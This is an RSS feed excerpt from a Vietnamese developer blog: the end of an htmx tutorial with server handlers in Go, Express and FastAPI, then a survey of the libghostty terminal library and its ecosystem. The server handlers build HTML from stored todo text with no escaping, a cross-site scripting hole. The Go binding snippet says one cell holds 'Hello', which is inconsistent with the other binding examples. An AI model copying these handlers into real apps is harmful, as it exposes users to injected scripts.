&amp;#x3C;div hx-get=&quot;/api/more&quot; hx-swap=&quot;beforeend&quot; hx-target=&quot;#list&quot;&gt;
  Load More
&amp;#x3C;/div&gt;

&amp;#x3C;!-- delete — xoá target --&gt;
&amp;#x3C;button hx-delete=&quot;/api/todos/1&quot; hx-target=&quot;closest li&quot; hx-swap=&quot;delete&quot;&gt;
  Done
&amp;#x3C;/button&gt;

&amp;#x3C;!-- none — không swap (dùng cho side effect) --&gt;
&amp;#x3C;button hx-post=&quot;/api/log&quot; hx-swap=&quot;none&quot;&gt;Log&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;hx-trigger — Khi nào gửi request&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Mặc định: click cho button, submit cho form, change cho input --&gt;
&amp;#x3C;button hx-get=&quot;/api/data&quot;&gt;Click me&amp;#x3C;/button&gt;

&amp;#x3C;!-- load — khi element xuất hiện trong DOM --&gt;
&amp;#x3C;div hx-get=&quot;/api/data&quot; hx-trigger=&quot;load&quot;&gt;Loading...&amp;#x3C;/div&gt;

&amp;#x3C;!-- reveal — khi element scroll vào viewport --&gt;
&amp;#x3C;img hx-get=&quot;/api/image&quot; hx-trigger=&quot;reveal&quot;&gt;

&amp;#x3C;!-- every — interval --&gt;
&amp;#x3C;div hx-get=&quot;/api/clock&quot; hx-trigger=&quot;every 5s&quot;&gt;--:--&amp;#x3C;/div&gt;

&amp;#x3C;!-- keyup + debounce --&gt;
&amp;#x3C;input hx-get=&quot;/api/search&quot;
       hx-trigger=&quot;keyup changed delay:300ms&quot;
       hx-target=&quot;#results&quot;&gt;

&amp;#x3C;!-- custom event --&gt;
&amp;#x3C;button hx-get=&quot;/api/refresh&quot; hx-trigger=&quot;refresh from:body&quot;&gt;
  Manual Refresh
&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Form Validation&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Real-time validation với htmx --&gt;
&amp;#x3C;form hx-post=&quot;/api/users&quot; hx-target=&quot;#form-errors&quot;&gt;
  &amp;#x3C;div&gt;
    &amp;#x3C;input name=&quot;email&quot; type=&quot;email&quot;
           hx-post=&quot;/api/validate/email&quot;
           hx-target=&quot;next .error&quot;
           hx-trigger=&quot;change&quot;&gt;
    &amp;#x3C;span class=&quot;error&quot;&gt;&amp;#x3C;/span&gt;
  &amp;#x3C;/div&gt;

  &amp;#x3C;div&gt;
    &amp;#x3C;input name=&quot;password&quot; type=&quot;password&quot;
           hx-post=&quot;/api/validate/password&quot;
           hx-target=&quot;next .error&quot;
           hx-trigger=&quot;keyup changed delay:300ms&quot;&gt;
    &amp;#x3C;span class=&quot;error&quot;&gt;&amp;#x3C;/span&gt;
  &amp;#x3C;/div&gt;

  &amp;#x3C;button type=&quot;submit&quot;&gt;Register&amp;#x3C;/button&gt;
&amp;#x3C;/form&gt;

&amp;#x3C;div id=&quot;form-errors&quot;&gt;&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server trả HTML fragment — error message hoặc success indicator.&lt;/p&gt;
&lt;h2&gt;So Sánh: React vs htmx&lt;/h2&gt;
&lt;h3&gt;Todo App — React&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;function TodoApp() {
  const [todos, setTodos] = useState([])

  useEffect(() =&gt; {
    fetch(&apos;/api/todos&apos;)
      .then(r =&gt; r.json())
      .then(setTodos)
  }, [])

  const addTodo = async (text) =&gt; {
    const res = await fetch(&apos;/api/todos&apos;, {
      method: &apos;POST&apos;,
      body: JSON.stringify({ text }),
    })
    const todo = await res.json()
    setTodos([...todos, todo])
  }

  return (
    &amp;#x3C;ul&gt;
      {todos.map(t =&gt; (
        &amp;#x3C;li key={t.id}&gt;
          &amp;#x3C;span&gt;{t.text}&amp;#x3C;/span&gt;
          &amp;#x3C;button onClick={() =&gt; deleteTodo(t.id)}&gt;✕&amp;#x3C;/button&gt;
        &amp;#x3C;/li&gt;
      ))}
    &amp;#x3C;/ul&gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Todo App — htmx&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Load danh sách --&gt;
&amp;#x3C;div hx-get=&quot;/api/todos&quot; hx-trigger=&quot;load&quot; hx-swap=&quot;innerHTML&quot;&gt;
  Loading...
&amp;#x3C;/div&gt;

&amp;#x3C;!-- Form thêm mới --&gt;
&amp;#x3C;form hx-post=&quot;/api/todos&quot; hx-target=&quot;#todo-list&quot; hx-swap=&quot;beforeend&quot;&gt;
  &amp;#x3C;input name=&quot;text&quot; required&gt;
  &amp;#x3C;button type=&quot;submit&quot;&gt;Add&amp;#x3C;/button&gt;
&amp;#x3C;/form&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Server trả HTML cho mỗi todo --&gt;
&amp;#x3C;li&gt;
  &amp;#x3C;span&gt;Học htmx&amp;#x3C;/span&gt;
  &amp;#x3C;button hx-delete=&quot;/api/todos/1&quot;
          hx-target=&quot;closest li&quot;
          hx-swap=&quot;delete&quot;&gt;
    ✕
  &amp;#x3C;/button&gt;
&amp;#x3C;/li&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Server-Side (Bất Kỳ Ngôn Ngữ Nào)&lt;/h2&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func main() {
  http.HandleFunc(&quot;/api/todos&quot;, func(w http.ResponseWriter, r *http.Request) {
    todos := getTodos()
    for _, t := range todos {
      fmt.Fprintf(w, `&amp;#x3C;li&gt;
        &amp;#x3C;span&gt;%s&amp;#x3C;/span&gt;
        &amp;#x3C;button hx-delete=&quot;/api/todos/%d&quot;
                hx-target=&quot;closest li&quot;
                hx-swap=&quot;delete&quot;&gt;✕&amp;#x3C;/button&gt;
      &amp;#x3C;/li&gt;`, t.Text, t.ID)
    }
  })

  http.HandleFunc(&quot;/api/todos/add&quot;, func(w http.ResponseWriter, r *http.Request) {
    text := r.FormValue(&quot;text&quot;)
    todo := insertTodo(text)
    fmt.Fprintf(w, `&amp;#x3C;li&gt;
      &amp;#x3C;span&gt;%s&amp;#x3C;/span&gt;
      &amp;#x3C;button hx-delete=&quot;/api/todos/%d&quot; ...&gt;✕&amp;#x3C;/button&gt;
    &amp;#x3C;/li&gt;`, todo.Text, todo.ID)
  })

  log.Fatal(http.ListenAndServe(&quot;:3000&quot;, nil))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Node.js (Express)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;app.get(&apos;/api/todos&apos;, (req, res) =&gt; {
  const todos = db.select().from(todosTable)
  const html = todos.map(t =&gt; `
    &amp;#x3C;li&gt;
      &amp;#x3C;span&gt;${t.text}&amp;#x3C;/span&gt;
      &amp;#x3C;button hx-delete=&quot;/api/todos/${t.id}&quot;
              hx-target=&quot;closest li&quot;
              hx-swap=&quot;delete&quot;&gt;✕&amp;#x3C;/button&gt;
    &amp;#x3C;/li&gt;
  `).join(&apos;&apos;)
  res.send(html)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python (FastAPI)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@app.get(&quot;/api/todos&quot;)
async def get_todos():
    todos = await db.fetch_all(&quot;SELECT * FROM todos&quot;)
    html = &quot;&quot;
    for t in todos:
        html += f&quot;&quot;&quot;
        &amp;#x3C;li&gt;
            &amp;#x3C;span&gt;{t[&apos;text&apos;]}&amp;#x3C;/span&gt;
            &amp;#x3C;button hx-delete=&quot;/api/todos/{t[&apos;id&apos;]}&quot;
                    hx-target=&quot;closest li&quot;
                    hx-swap=&quot;delete&quot;&gt;✕&amp;#x3C;/button&gt;
        &amp;#x3C;/li&gt;
        &quot;&quot;&quot;
    return HTMLResponse(html)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Advanced Patterns&lt;/h2&gt;
&lt;h3&gt;Infinite Scroll&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;div hx-get=&quot;/api/posts?page=1&quot; hx-trigger=&quot;load&quot; id=&quot;post-list&quot;&gt;&amp;#x3C;/div&gt;

&amp;#x3C;div hx-get=&quot;/api/posts?page=2&quot;
     hx-trigger=&quot;revealed&quot;
     hx-target=&quot;#post-list&quot;
     hx-swap=&quot;beforeend&quot;&gt;
  Loading more...
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lazy Loading&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Chỉ load khi user scroll đến --&gt;
&amp;#x3C;div hx-get=&quot;/api/expensive-component&quot;
     hx-trigger=&quot;reveal&quot;
     hx-target=&quot;this&quot;&gt;
  &amp;#x3C;div class=&quot;skeleton&quot;&gt;Loading...&amp;#x3C;/div&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Polling&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Auto-refresh dashboard --&gt;
&amp;#x3C;div hx-get=&quot;/api/dashboard&quot;
     hx-trigger=&quot;every 30s&quot;
     hx-target=&quot;this&quot;&gt;
  {{ dashboard_html|safe }}
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;WebSocket&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;div hx-ws=&quot;connect:/ws/chat&quot;&gt;
  &amp;#x3C;div id=&quot;messages&quot; hx-ws=&quot;receive:#messages&quot;&gt;
    &amp;#x3C;!-- Messages appear here --&gt;
  &amp;#x3C;/div&gt;
  &amp;#x3C;form hx-ws=&quot;send&quot;&gt;
    &amp;#x3C;input name=&quot;message&quot;&gt;
    &amp;#x3C;button type=&quot;submit&quot;&gt;Send&amp;#x3C;/button&gt;
  &amp;#x3C;/form&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;htmx Ecosystem&lt;/h2&gt;
&lt;h3&gt;HyperScript&lt;/h3&gt;
&lt;p&gt;Scripting companion cho htmx:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;button _=&quot;on click add .active to #sidebar&quot;&gt;
  Toggle Sidebar
&amp;#x3C;/button&gt;

&amp;#x3C;button _=&quot;on click call navigator.clipboard.writeText(&apos;copied!&apos;)&quot;&gt;
  Copy
&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Alpine.js&lt;/h3&gt;
&lt;p&gt;Cho UI state phức tạp:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;div x-data=&quot;{ open: false }&quot;&gt;
  &amp;#x3C;button @click=&quot;open = !open&quot;&gt;Toggle&amp;#x3C;/button&gt;
  &amp;#x3C;div x-show=&quot;open&quot; hx-get=&quot;/api/details&quot; hx-trigger=&quot;load&quot;&gt;
    Content
  &amp;#x3C;/div&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng htmx?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Server-rendered app — Django, Rails, Laravel, Go, Spring&lt;/li&gt;
&lt;li&gt;CRUD app — form, table, search, pagination&lt;/li&gt;
&lt;li&gt;Dashboard — polling, lazy load, real-time updates&lt;/li&gt;
&lt;li&gt;Prototype/MVP — ship nhanh, không cần SPA stack&lt;/li&gt;
&lt;li&gt;Team backend-heavy — frontend chỉ là HTML templates&lt;/li&gt;
&lt;li&gt;Thay thế jQuery — legacy app cần dynamic behavior&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Rich interactive UI — game, canvas, drag-and-drop phức tạp&lt;/li&gt;
&lt;li&gt;Real-time collaborative — Google Docs, Figma&lt;/li&gt;
&lt;li&gt;Offline-first — PWA cần client logic phức tạp&lt;/li&gt;
&lt;li&gt;Native mobile app — React Native, Flutter, SwiftUI&lt;/li&gt;
&lt;li&gt;Team React chuyên — không có lý do chính đáng để đổi&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;htmx là lời nhắc nhở: web vốn dĩ đã hypermedia. JavaScript là gia vị, không phải món chính.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Trước: SPA với JSON API
     Sau: HTML API với htmx --&gt;

&amp;#x3C;!-- SPA:  → JSON → fetch → parse → setState → render --&gt;
&amp;#x3C;!-- htmx: → HTML → swap vào DOM --&gt;

&amp;#x3C;!-- htmx: 1 dòng HTML, 0 dòng JS --&gt;
&amp;#x3C;button hx-post=&quot;/api/like&quot; hx-target=&quot;this&quot; hx-swap=&quot;outerHTML&quot;&gt;
  👍 Like
&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| | SPA (React/Vue) | htmx |
|---|---|---|
| Bundle | ~100KB+ | ~14KB |
| Build step | ✅ | ❌ |
| State management | Redux, Zustand, Jotai | Server |
| API format | JSON | HTML |
| SEO | ⚠️ Cần SSR | ✅ Tự nhiên |
| Accessibility | ⚠️ Tuỳ implementation | ✅ HTML native |
| Learning curve | Cao | Thấp |&lt;/p&gt;
&lt;p&gt;htmx không thay thế React cho mọi thứ. Nó thay thế React cho đa số web app — những app mà &quot;CRUD + server-render&quot; là đủ.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://htmx.org/docs/&quot;&gt;htmx Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://htmx.org/reference/&quot;&gt;htmx Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hyperhype.github.io/hyperscript/&quot;&gt;HyperScript Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://alpinejs.dev/start-here&quot;&gt;Alpine.js Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/net/http&quot;&gt;Go net/http Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://expressjs.com&quot;&gt;Express.js Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>libghostty — Embed Terminal Cho Mọi Ứng Dụng</title><link>https://dopana-blog.pages.dev/blog/libghostty-embed-terminal-cho-moi-ung-dung</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/libghostty-embed-terminal-cho-moi-ung-dung</guid><description>libghostty là thư viện C zero-dependency cho phép nhúng terminal emulator vào bất kỳ app nào. Hơn 80+ project đang xây dựng trên nó.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;libghostty là thư viện embeddable terminal từ Ghostty — terminal emulator nổi tiếng viết bằng Zig của Mitchell Hashimoto (người sáng lập HashiCorp).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;App của bạn → libghostty → Terminal emulation
              C API, zero-dep
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không phải tự viết parser VT, không xterm.js, không libvte. Một thư viện C duy nhất, không phụ thuộc gì — nhúng vào app nào cũng được.&lt;/p&gt;
&lt;h2&gt;Vấn Đề&lt;/h2&gt;
&lt;p&gt;Trước libghostty, mỗi app cần terminal đều tự làm theo cách riêng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IDE (VS Code, JetBrains) → xterm.js / jediterm&lt;/li&gt;
&lt;li&gt;Terminal app → tự viết VT parser&lt;/li&gt;
&lt;li&gt;Web console (GitHub Actions, Vercel) → parse ANSI thủ công, sai đủ kiểu&lt;/li&gt;
&lt;li&gt;SSH client → mỗi app một kiểu&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kết quả: hàng trăm implementation terminal không đầy đủ, chậm, bug.&lt;/p&gt;
&lt;h2&gt;libghostty-vt&lt;/h2&gt;
&lt;p&gt;Thư viện đầu tiên trong họ libghostty: zero-dependency, parse terminal sequence, maintain terminal state (cursor, style, wrapping...).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Zig core → C API → Bindings (Go, Rust, Python, .NET, TS, ...)
                    ↓
           App của bạn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đặc điểm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SIMD-optimized parsing&lt;/li&gt;
&lt;li&gt;Unicode đầy đủ&lt;/li&gt;
&lt;li&gt;Kitty Graphics Protocol, Tmux Control Mode&lt;/li&gt;
&lt;li&gt;Fuzz + Valgrind tested&lt;/li&gt;
&lt;li&gt;Không cần libc — portable khắp nơi&lt;/li&gt;
&lt;li&gt;WASM target — chạy trong browser&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ecosystem&lt;/h2&gt;
&lt;p&gt;Từ khi ra mắt (9/2025), cộng đồng đã xây dựng 80+ project trên libghostty.&lt;/p&gt;
&lt;h3&gt;Bindings — Nhúng Vào Mọi Ngôn Ngữ&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Go — mitchellh/go-libghostty
import &quot;github.com/mitchellh/go-libghostty&quot;

vt := libghostty.New()
vt.Write([]byte(&quot;\x1b[31mHello\x1b[0m&quot;))
fmt.Println(vt.Cell(0, 0).Value) // &quot;Hello&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;// Rust — Uzaaft/libghostty-rs
use libghostty_rs::VirtualTerminal;

let mut vt = VirtualTerminal::new(80, 24);
vt.write(b&quot;\x1b[32mGreen text\x1b[0m&quot;);
println!(&quot;{}&quot;, vt.cell(0, 0).unwrap().character()); // &quot;G&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// .NET — deblasis/libghostty-vt-dotnet
using LibGhosttyVt;

var vt = new VirtualTerminal(80, 24);
vt.Write(&quot;\e[34mBlue\e[0m&quot;);
Console.WriteLine(vt.GetCell(0, 0).Char); // &quot;B&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Python — luckydonald/ghosttpy-vt
from ghosttpy_vt import VirtualTerminal

vt = VirtualTerminal(80, 24)
vt.write(b&quot;\x1b[33mYellow\x1b[0m&quot;)
print(chr(vt.cell(0, 0).char))  # &quot;Y&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bindings hiện có: Go, Rust, C++, Python, .NET, TypeScript, Dart (Flutter), Odin, Elixir, MoonBit, Node.js, Swift (SwiftPM).&lt;/p&gt;
&lt;h3&gt;Terminal App — Hàng Loạt Terminal Mới&lt;/h3&gt;
&lt;p&gt;Vì libghostty xử lý VT core, dev chỉ cần làm UI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;conterm — macOS terminal (SwiftUI)&lt;/li&gt;
&lt;li&gt;macterm — macOS terminal lightweight (SwiftUI)&lt;/li&gt;
&lt;li&gt;fantastty — macOS terminal với workspace, notes, live tab preview&lt;/li&gt;
&lt;li&gt;Forge — macOS terminal multiplexer cho AI agents&lt;/li&gt;
&lt;li&gt;Muxy — macOS terminal multiplexer (SwiftUI)&lt;/li&gt;
&lt;li&gt;deepin-terminal-ghostty — Deepin Terminal cho Linux&lt;/li&gt;
&lt;li&gt;footty — foot + libghostty (Wayland)&lt;/li&gt;
&lt;li&gt;forgetty — GTK4 terminal cho Linux (daemon architecture)&lt;/li&gt;
&lt;li&gt;Husk — Wayland terminal C++ nhẹ&lt;/li&gt;
&lt;li&gt;monstar — Wayland terminal nhỏ&lt;/li&gt;
&lt;li&gt;Dotty — .NET terminal cross-platform&lt;/li&gt;
&lt;li&gt;mightty — Windows terminal (experimental)&lt;/li&gt;
&lt;li&gt;phantty — Windows renderer&lt;/li&gt;
&lt;li&gt;tildaz — Quake-style dropdown terminal (Windows + macOS)&lt;/li&gt;
&lt;li&gt;Umbra — Android terminal GPU-accelerated&lt;/li&gt;
&lt;li&gt;Chuchu — Android SSH client&lt;/li&gt;
&lt;li&gt;ghosttyfx — JavaFX terminal&lt;/li&gt;
&lt;li&gt;gostty — Go terminal (Ebitengine)&lt;/li&gt;
&lt;li&gt;hollow — Zig terminal + LuaJIT&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mỗi app chỉ cần focus vào UI + tính năng riêng, còn terminal logic đã có libghostty.&lt;/p&gt;
&lt;h3&gt;SSH &amp;#x26; Remote Clients&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Echo — SSH/Mosh client iOS/iPadOS&lt;/li&gt;
&lt;li&gt;Geistty — SSH terminal iOS (Metal rendering)&lt;/li&gt;
&lt;li&gt;Quay — macOS connection manager SSH/SFTP&lt;/li&gt;
&lt;li&gt;remux — iOS tmux client&lt;/li&gt;
&lt;li&gt;Spectty — SSH/Mosh iOS nhanh&lt;/li&gt;
&lt;li&gt;VVTerm — SSH iOS/iPad/macOS (iCloud sync, voice-to-command)&lt;/li&gt;
&lt;li&gt;NeoShell — iPad remote workspace&lt;/li&gt;
&lt;li&gt;RootShell — terminal cho Apple platforms&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Web &amp;#x26; Embedded&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ghostty-web — Ghostty cho web (xterm.js API compatible, bởi coder.com)&lt;/li&gt;
&lt;li&gt;browstty — Zig WASM module chạy libghostty trong browser&lt;/li&gt;
&lt;li&gt;electron-libghostty — libghostty trong Electron&lt;/li&gt;
&lt;li&gt;vscode-bootty — VS Code terminal extension (WASM)&lt;/li&gt;
&lt;li&gt;obsidian-ghostty-terminal — Obsidian plugin&lt;/li&gt;
&lt;li&gt;jupyterlab-ghostty-terminal — JupyterLab extension&lt;/li&gt;
&lt;li&gt;Restty — Web terminal library (WebGPU + text-shaper)&lt;/li&gt;
&lt;li&gt;webterm — Web terminal server dashboard&lt;/li&gt;
&lt;li&gt;RemoteTTYs — Remote terminal từ browser (không cần mở port)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;AI Agent Ecosystem&lt;/h3&gt;
&lt;p&gt;Đây là mảng phát triển nhanh nhất. AI coding agents (Claude Code, OpenCode, Codex) cần terminal để chạy lệnh — và các app đang dùng libghostty để xây workspace cho agents:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mux (coder.com) — Desktop + browser app cho isolated agentic development&lt;/li&gt;
&lt;li&gt;Ghostree — Ghostty fork với git worktree + AI agents support&lt;/li&gt;
&lt;li&gt;AiyuTerm — macOS terminal workspace với multi-repo sidebar, split layouts, SSH, real-time AI agent status&lt;/li&gt;
&lt;li&gt;Mux0 — macOS terminal với live status cho Claude Code, OpenCode, Codex&lt;/li&gt;
&lt;li&gt;cmux — macOS terminal với vertical tabs + notifications cho AI agents&lt;/li&gt;
&lt;li&gt;moss — macOS workspace orchestrating AI agents với multi-terminal canvas&lt;/li&gt;
&lt;li&gt;Supacode — macOS command center chạy agents song song&lt;/li&gt;
&lt;li&gt;limpid — macOS terminal cho kỷ nguyên AI agent&lt;/li&gt;
&lt;li&gt;blink — AI terminal hiện đại&lt;/li&gt;
&lt;li&gt;Zentty — macOS terminal cho agentic development (workspaces, notifications)&lt;/li&gt;
&lt;li&gt;in0 — macOS terminal multiplexer với live AI agent status&lt;/li&gt;
&lt;li&gt;agtmux-term — AI-agent-aware terminal (SwiftUI sidebar)&lt;/li&gt;
&lt;li&gt;wispterm — Cross-platform workspace cho AI agents&lt;/li&gt;
&lt;li&gt;paulatty — AI agent team workspace&lt;/li&gt;
&lt;li&gt;ADHDev — Self-hosted control plane cho AI coding agents&lt;/li&gt;
&lt;li&gt;moai-studio — Rust agent IDE (GPUI, libghostty-vt)&lt;/li&gt;
&lt;li&gt;witty — AI terminal (Python + Qt6 + Rust)&lt;/li&gt;
&lt;li&gt;YEN — Terminal-first IDE (speech-to-text, themes, notifications)&lt;/li&gt;
&lt;li&gt;Factory Floor — macOS workspace cho parallel development + git worktrees + Claude Code&lt;/li&gt;
&lt;li&gt;TheCommander — macOS AI workspace (diff review, git workflow)&lt;/li&gt;
&lt;li&gt;codelima — Run coding agents trong VM sandbox cô lập&lt;/li&gt;
&lt;li&gt;Aizen — macOS workspace cho parallel development&lt;/li&gt;
&lt;li&gt;taskers — Agent-first terminal workspace (Rust shell, Niri-like tiling)&lt;/li&gt;
&lt;li&gt;frep — Agentic terminal emulator&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AI agent tools là mảng phát triển nóng nhất trên libghostty.&lt;/p&gt;
&lt;h3&gt;System Utilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;evp — Terminal recorder (Rust)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;headless-terminal — Puppeteer cho TUI (vim, emacs, htop)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;findr — File manager macOS với embedded terminal&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;OmniWM — macOS tiling WM với Ghostty-powered quake terminal&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ribari — Niri-inspired web browser macOS + libghostty&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;hauntty — Terminal session persistence (WASM)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vanish — Terminal session multiplexer nhẹ&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Zmx — Session persistence cho terminal processes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;term2html — ANSI → HTML converter&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Trolley — Terminal runtime cho TUI apps&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vterm-mcp — MCP server để drive/test TUI apps&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;OrbStack — Docker nhẹ trên macOS (built-in Ghostty terminal)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;reed — Terminal file viewer (syntax highlight, inline images, Mermaid)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hot Notes — macOS Notes fuzzy search&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mdnb — macOS Markdown editor + embedded Ghostty terminal&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pynb — macOS Jupyter notebook + Ghostty terminal&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;shade — Neovim-centric Swift library&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;emacs-libgterm — Terminal emulator cho Emacs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ghostel — Terminal emulator cho Emacs (true color, OSC 8, Kitty keyboard)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;it-shell3 — Terminal multiplexer với CJK input support&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tại Sao Lại Bùng Nổ?&lt;/h2&gt;
&lt;p&gt;3 lý do chính:&lt;/p&gt;
&lt;h3&gt;1. Zero Dependency&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// Chỉ cần include header + link lib
#include &amp;#x3C;ghostty/vt.h&gt;

ghostty_vt_t* vt = ghostty_vt_new(80, 24);
ghostty_vt_write(vt, &quot;\e[31mRed text\e[0m&quot;);
const char* text = ghostty_vt_get_text(vt, 0, 0, 80, 24);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không runtime, không framework, không libc. Portable: macOS, Linux, Windows, WASM.&lt;/p&gt;
&lt;h3&gt;2. Correctness&lt;/h3&gt;
&lt;p&gt;libghostty-vt kế thừa core từ Ghostty — đã được test hàng năm trên hàng triệu người dùng. SIMD-optimized, fuzz-tested, hỗ trợ đầy đủ Kitty Graphics Protocol, Tmux Control Mode, Unicode.&lt;/p&gt;
&lt;p&gt;So sánh với tự viết hoặc dùng thư viện khác:&lt;/p&gt;
&lt;p&gt;| Tính năng | Tự viết | xterm.js | libvte | libghostty |
|---|---|---|---|---|
| ANSI color | ✅ | ✅ | ✅ | ✅ |
| RGB color (12 formats) | ❌ | ❌ | ✅ | ✅ |
| Kitty protocol | ❌ | ❌ | ❌ | ✅ |
| Tmux control mode | ❌ | ❌ | ❌ | ✅ |
| Unicode | ⚠️ | ✅ | ✅ | ✅ |
| SIMD | ❌ | ❌ | ❌ | ✅ |
| Zero dependency | ✅ | ❌ | ❌ | ✅ |
